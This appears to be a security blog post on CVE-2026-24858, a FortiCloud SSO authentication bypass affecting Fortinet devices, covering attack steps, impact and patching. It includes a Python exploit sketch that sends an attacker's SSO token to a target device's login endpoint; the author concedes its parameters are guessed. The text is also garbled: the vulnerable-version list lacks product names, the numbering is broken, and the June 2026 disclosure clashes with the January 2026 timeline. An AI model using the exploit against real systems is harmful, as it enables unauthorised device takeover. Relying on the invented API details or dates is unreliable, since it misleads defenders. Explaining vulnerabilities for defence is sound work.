In June 2026, security researchers unveiled a critical vulnerability affecting several Fortinet enterprise products. Tracked as CVE-2026-24858, this issue lets attackers exploit FortiCloud's Single Sign-On (SSO) system, potentially bypassing authentication and gaining unauthorized control of devices. If you use FortiAnalyzer, FortiManager, FortiOS, FortiProxy, or FortiWeb in your network—and you use FortiCloud for logins—your systems might be exposed.

This post will break down exactly what CVE-2026-24858 is, show how attackers could abuse it, and provide remediation tips to keep your network safe.

What Is CVE-2026-24858?

CVE-2026-24858 is an Authentication Bypass Using an Alternate Path or Channel (CWE-288) in several Fortinet products. If FortiCloud SSO authentication is enabled on affected devices, an attacker with any valid FortiCloud account—and access to a device registered under that account—could log into devices registered to other accounts.

In simple terms: if you use FortiCloud to sign into your Fortinet devices, someone else with a different cloud account but a registered device could sneak into your network hardware as well.

Vulnerable Products and Versions

If you’re using any of these (with the listed versions) and have FortiCloud SSO enabled, you are vulnerable:

7.4. through 7.4.11

Note: Devices are only vulnerable if FortiCloud SSO authentication is enabled.

How the Exploit Works

This vulnerability results from the improper validation of which FortiCloud accounts should have access to which registered devices during SSO. When a user tries to sign in with FortiCloud SSO:

The device checks if the account is valid and if the device is registered.

- The vulnerable logic doesn’t double-check if the account signing in actually matches the account the device is registered under.
- With a specially crafted authentication request, an attacker can trick a device registered to a different account into giving access, as long as the attacker has a device registered in their own FortiCloud account.

The attacker creates a FortiCloud account and registers a device.

2. The attacker finds the IP or address of a target device running a vulnerable Fortinet software version, which uses FortiCloud SSO for logins.

The attacker initiates an SSO login from their account but for the target device.

4. Because of the flaw, the device accepts the login—even though it’s registered to a different cloud account.

Proof-of-Concept: Simulated Exploit Flow

While there’s no “one-line” exploit script (since this hinges on cloud authentication and device registration flows), here’s some pseudo-code to make the process clear:

import requests

# Attacker FortiCloud SSO token
attacker_fcloud_token = "eyJhbGciOiJIUz...ATTACKERTOKEN"

# Target device IP (replace with real IP)
target_device_url = "https://TARGET_DEVICE_IP/remote/sso/login";

# Fake SSO session for target device
payload = {
    "cloud_sso_token": attacker_fcloud_token,
    "device_id": "TARGET_DEVICE_UNIQUE_ID"
}

# Send POST request to vulnerable device's SSO endpoint
response = requests.post(target_device_url, json=payload, verify=False)
if response.ok and "session_cookie" in response.cookies:
    print("[+] Authentication bypassed! Gained access to target device.")
else:
    print("[-] Exploit failed. Device may be patched.")

What’s happening:
An attacker’s SSO token is used to impersonate a login to the target device, essentially bypassing the real owner’s FortiCloud account restriction thanks to the broken validation.

Note:
- You need to know the device’s IP or DNS and some unique info (sometimes obtainable via OSINT or past leaks).
- In reality, exact API parameters may vary—review the affected product’s SSO docs for your specific case.

Risk Impact

- Lateral attacks: An attacker could jump between organizations, accessing firewalls, security appliances, or analytics dashboards not meant for them.
- Device control: Attackers could change configurations, read logs, set up backdoors, or take devices offline.
- Compliance failure: Compromised systems could lead to GDPR or HIPAA violations if user data is exposed.
- Widespread business risk: Fortinet is a popular brand, so organizations across the world are vulnerable until they patch.

Security teams must treat this as a critical issue.

Update Firmware:

- Check Fortinet’s official advisory for patched versions.

References & More Reading

- Fortinet PSIRT CVE-2026-24858 Advisory (official)
- CWE-288: Authentication Bypass Using an Alternate Path or Channel
- General guidance on SSO vulnerabilities

Conclusion

CVE-2026-24858 is a uniquely dangerous vulnerability that turns the convenience of cloud-based SSO into a liability. If you’re running Fortinet products affected by this bug, action is needed NOW. Patch where possible, disable FortiCloud SSO as a stopgap, and stay vigilant for unusual activity.

*Stay safe, and always test your defenses—because someone else probably already has.*

Timeline

Published on: 01/27/2026 19:18:23 UTC
Last modified on: 01/29/2026 13:16:51 UTC